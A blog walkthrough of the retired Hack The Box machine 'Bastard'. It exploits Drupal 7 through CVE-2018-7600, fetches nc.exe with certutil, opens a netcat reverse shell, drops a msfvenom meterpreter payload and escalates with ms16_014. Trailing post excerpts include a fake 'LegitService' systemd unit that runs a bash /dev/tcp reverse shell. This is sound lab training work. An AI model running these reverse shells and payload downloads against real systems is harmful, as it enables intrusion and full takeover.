Skip to main content

hackthebox - retired - Bastard


Hackthebox.eu - Retired - Bastard


Recon

As always I start with a simple Up/Down scan on all TCP port to see what is open
# nmap -T4 -p- -oX ./nmapb.xml bastard.htb

Then I convert it to HTML to make it pretty :)

 xsltproc ./nmapb.xml -o ./nmapb.html


We have port 80,135 and 49154

Let's scan just again on those ports with the -A switch to finger OS/Services

# nmap -T4 -p80,135,49154 -A -oX ./nmapf.xml bastard.htb

Then convert that to HTML also
  xsltproc ./nmapf.xml -o ./nmapf.html

So we have IIS 7.5 on 80 and RPC on 135 and 49154

Lets see whats on 80

A login form powered by Drupal

There are a bunch of listings in the robots.txt for the site



I found this while enumerating through the robots.txt list

Drupal 7.54





Expolit

Googling around for exploits on Drupal 7.54 we find

Which will allow us to execute commands with

I cloned it to my attacking machine

Then ran a simple whoami to see if it worked

 python drupa7-CVE-2018-7600.py http://bastard.htb -c "whoami"



Cool
Iusr sounds like a pretty low level user though

Setup my an ICMP listenter and tried ping to see if that worked too
~# tcpdump -i tun0 -n icmp

python drupa7-CVE-2018-7600.py http://bastard.htb -c "ping  10.10.14.48"


Lets get some more info on the box so we can setup our reverse shell.

python drupa7-CVE-2018-7600.py http://bastard.htb -c "systeminfo"



Ok its a windows server 2008r2 box,x64



Let's get our shell

I'm just going to copy over netcat.exe to the bastard box and have it connect back to my machine..

I copy nc.exe to my working directory

~/Desktop/HTB/bastard/CVE-2018-7600# cp /usr/share/windows-resources/binaries/nc.exe ./

Then I start SimpleHTTPServer in that directory

~/Desktop/HTB/bastard/CVE-2018-7600# python -m SimpleHTTPServer

Then I use certutil to download that file to bastard
python drupa7-CVE-2018-7600.py http://bastard.htb -c "certutil.exe -urlcache -split -f "http://10.10.14.48:8000/nc.exe" nc.exe"

We can see the file getting transferred here


Then I setup my listener

# nc -lvp 4444

The only thing left to do here is call the exe


 python drupa7-CVE-2018-7600.py http://bastard.htb -c " nc.exe 10.10.14.48 4444 -e cmd.exe"


Good The Simpsons GIF

Ok we have foothold as the user isusr


We can read the user.txt flag from this 


Now I'm going to upload a reverse meterpreter shell to escalate

Step one, create payload using msfvenom

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.14.48 lport=443 -f exe -o bastard.exe

Then I'll use SimpleHTTPServer to upload it to bastard

# python -m SimpleHTTPServer

Then from my shell, I'll use certutil to download the payload

certutil.exe -urlcache -split -f "http://10.10.14.48:8000/bastard.exe" bastard.exe

Setup a new meterpreter listener

Msfconsole

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
Set Lhost 10.10.14.48
Set lport 443


Now that we have our meterpreter listener running we simply run the bastard.exe we created and downloaded to bastard



Checking back on my kali box

We see we did get a meterpreter shell opened.

I put it to background and loaded up
 use post/multi/recon/local_exploit_suggester 

Set it to session 1 and let it see what this box might be vulnerable to. ( if we were paying attention earlier from a systeminfo screen we would have seen there have been zero patches to this box)

Condescending Schitts Creek GIF by CBC

[*] 10.10.10.9 - 13 exploit checks are being tried...
[+] 10.10.10.9 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
[+] 10.10.10.9 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
[+] 10.10.10.9 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 10.10.10.9 - exploit/windows/local/ms16_014_wmi_recv_notif: The target appears to be vulnerable.
[+] 10.10.10.9 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.9 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.

We get a list of apparent vulns on this machine. The first two didn't work since the user is not a member of the administrators group.

But when we load up
Use exploit/windows/local/ms16_014_wmi_recv_notif

Set our options

Set session 1
Set lhost 10.10.14.48
Set lport 5555

And run

We get…..


Woohooo we are system

Let's grab that hash yo.



Frank Gallagher End GIF by Showtime







Comments

Popular posts from this blog

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics -  Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP  keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The